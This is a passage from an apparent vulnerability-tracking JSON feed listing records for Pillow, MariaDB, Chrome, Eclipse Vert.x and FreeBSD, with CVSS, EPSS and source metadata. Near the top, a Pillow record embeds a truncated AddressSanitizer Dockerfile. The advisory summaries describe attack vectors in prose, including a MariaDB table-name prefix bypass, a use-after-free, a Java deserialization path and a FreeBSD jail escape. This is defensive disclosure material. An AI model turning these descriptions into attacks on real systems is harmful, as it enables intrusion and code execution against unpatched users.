TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n wget gnupg lsb-release software-properties-common \\\n python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \\\n && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n && rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \\\n && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n -DCMAKE_C_COMPILER=clang-20 \\\n -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n && cmake --build /build/ljt -j\"$(nproc)\" && cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n && /venv/bin/pip inst\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:40:07.000Z","updatedAt":"2026-10-22T22:18:01.700Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112403","asOf":"2026-10-22T22:18:01.700Z"},"epss":{"probability":0.00771,"percentile":0.55383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-8g5g-8vmr-9782","url":"https://github.com/advisories/GHSA-8g5g-8vmr-9782","type":"primary","publishedAt":"2026-10-20T20:40:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-8g5g-8vmr-9782, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112403","type":"primary","publishedAt":"2026-10-19T22:17:07.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92262","cveId":"CVE-2026-92262","aliases":[],"kind":"vulnerability","title":"MariaDB server is a community developed fork of MySQL server.","summary":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the #mysql50# bypass prefix is affected because it allows the #mysql50# prefix to bypass normal table-name filesystem encoding. An attacker can trigger the issue with a table name using the #mysql50# prefix, then use a #mysql50# table name to access files under their legacy unencoded name and cause crashes, data corruption, data exfiltration, or remote code execution. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.","detail":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the #mysql50# bypass prefix is affected because it allows the #mysql50# prefix to bypass normal table-name filesystem encoding. An attacker can trigger the issue with a table name using the #mysql50# prefix, then use a #mysql50# table name to access files under their legacy unencoded name and cause crashes, data corruption, data exfiltration, or remote code execution. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:52.710Z","updatedAt":"2026-10-21T03:17:20.003Z","regions":["Global"],"vendor":"mariadb","product":"mariadb","stacks":["MySQL and MariaDB","mariadb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92262","asOf":"2026-10-21T03:17:20.003Z"},"epss":{"probability":0.01451,"percentile":0.73188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92262","type":"primary","publishedAt":"2026-10-16T17:17:52.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MariaDB/server/security/advisories/GHSA-65jj-h265-3m7h","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85748","cveId":"CVE-2026-85748","aliases":[],"kind":"vulnerability","title":"MariaDB server is a community developed fork of MySQL server.","summary":"MariaDB server is a community developed fork of MySQL server. From 12.3.1 until 12.3.3 and 13.0.2, SYS_REFCURSOR handling is affected because cursor-array reallocation can leave stale references in routine contexts. A low-privileged attacker can open a large number of SYS_REFCURSORs and then fetch one to trigger a use-after-free that can enable remote code execution when combined with another vulnerability. This issue is fixed in versions 12.3.3 and 13.0.2.","detail":"MariaDB server is a community developed fork of MySQL server. From 12.3.1 until 12.3.3 and 13.0.2, SYS_REFCURSOR handling is affected because cursor-array reallocation can leave stale references in routine contexts. A low-privileged attacker can open a large number of SYS_REFCURSORs and then fetch one to trigger a use-after-free that can enable remote code execution when combined with another vulnerability. This issue is fixed in versions 12.3.3 and 13.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:51.303Z","updatedAt":"2026-10-20T15:32:54.420Z","regions":["Global"],"vendor":"mariadb","product":"mariadb","stacks":["MySQL and MariaDB","mariadb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85748","asOf":"2026-10-20T15:32:54.420Z"},"epss":{"probability":0.00924,"percentile":0.60174,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85748","type":"primary","publishedAt":"2026-10-16T17:17:51.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MariaDB/server/security/advisories/GHSA-mv8g-9f7q-hprm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85746","cveId":"CVE-2026-85746","aliases":[],"kind":"vulnerability","title":"MariaDB server is a community developed fork of MySQL server.","summary":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, ST_AsText can write beyond an allocated output buffer when converting deeply nested GeometryCollections because recursive WKT serialization does not account for bytes consumed or reserve sufficient space. A low-privileged remote attacker can submit a specially crafted GIS object to corrupt memory and potentially achieve code execution when combined with another vulnerability. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.","detail":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, ST_AsText can write beyond an allocated output buffer when converting deeply nested GeometryCollections because recursive WKT serialization does not account for bytes consumed or reserve sufficient space. A low-privileged remote attacker can submit a specially crafted GIS object to corrupt memory and potentially achieve code execution when combined with another vulnerability. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:51.167Z","updatedAt":"2026-10-20T15:33:00.870Z","regions":["Global"],"vendor":"mariadb","product":"mariadb","stacks":["MySQL and MariaDB","mariadb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85746","asOf":"2026-10-20T15:33:00.870Z"},"epss":{"probability":0.0097,"percentile":0.61651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85746","type":"primary","publishedAt":"2026-10-16T17:17:51.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MariaDB/server/security/advisories/GHSA-8fvj-c57c-pggx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110916","cveId":"CVE-2026-110916","aliases":[],"kind":"vulnerability","title":"Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:26.943Z","updatedAt":"2026-10-19T19:04:43.797Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110916","asOf":"2026-10-19T19:04:43.797Z"},"epss":{"probability":0.00363,"percentile":0.29844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110916","type":"primary","publishedAt":"2026-10-15T22:19:26.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102469","cveId":"CVE-2026-102469","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that deserializes User Defined Type (UDT) column data using a bare ObjectInputStream.readObject() call with no ObjectInputFilter or class allowlist.\n\n\n\nThis code path is triggered when a DRDA server sends a result set with a column tagged as UDT (FDOCA protocol LID 0x50). However, DB2 does not support this type of UDT. The FDOCA 0x50 type is never sent by a legitimate DB2 server.\n\n\n\nNevertheless, a malicious or man-in-the-middle DRDA server could craft a response with a 0x50-tagged column, causing the client to deserialize arbitrary attacker-controlled bytes on the Vert.x event loop before any application code can inspect or reject the data. If a Java deserialization gadget chain is present on the application's classpath, this enables remote code execution. Without a gadget chain, denial of service is possible via crafted object graphs. TLS is disabled by default, making man-in-the-middle exploitation feasible.\n\n\n\nThe impacted component is io.vertx:vertx-db2-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that deserializes User Defined Type (UDT) column data using a bare ObjectInputStream.readObject() call with no ObjectInputFilter or class allowlist.\n\n\n\nThis code path is triggered when a DRDA server sends a result set with a column tagged as UDT (FDOCA protocol LID 0x50). However, DB2 does not support this type of UDT. The FDOCA 0x50 type is never sent by a legitimate DB2 server.\n\n\n\nNevertheless, a malicious or man-in-the-middle DRDA server could craft a response with a 0x50-tagged column, causing the client to deserialize arbitrary attacker-controlled bytes on the Vert.x event loop before any application code can inspect or reject the data. If a Java deserialization gadget chain is present on the application's classpath, this enables remote code execution. Without a gadget chain, denial of service is possible via crafted object graphs. TLS is disabled by default, making man-in-the-middle exploitation feasible.\n\n\n\nThe impacted component is io.vertx:vertx-db2-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.573Z","updatedAt":"2026-10-20T19:27:39.213Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102469","asOf":"2026-10-20T19:27:39.213Z"},"epss":{"probability":0.00458,"percentile":0.39433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102469&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102469","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102469","type":"primary","publishedAt":"2026-10-15T09:17:15.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-j4vf-w939-pgxf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102469&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102469, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101306","cveId":"CVE-2026-101306","aliases":[],"kind":"vulnerability","title":"SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.","summary":"SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.  A process could clear the restriction by sending the descriptor to itself over a Unix domain socket.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.","detail":"SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.  A process could clear the restriction by sending the descriptor to itself over a Unix domain socket.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.780Z","updatedAt":"2026-10-20T00:21:10.450Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101306","asOf":"2026-10-20T00:21:10.450Z"},"epss":{"probability":0.00268,"percentile":0.18792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101306","type":"primary","publishedAt":"2026-10-15T07:17:57.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110165","cveId":"CVE-2026-110165","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.480Z","updatedAt":"2026-10-15T04:18:21.510Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google 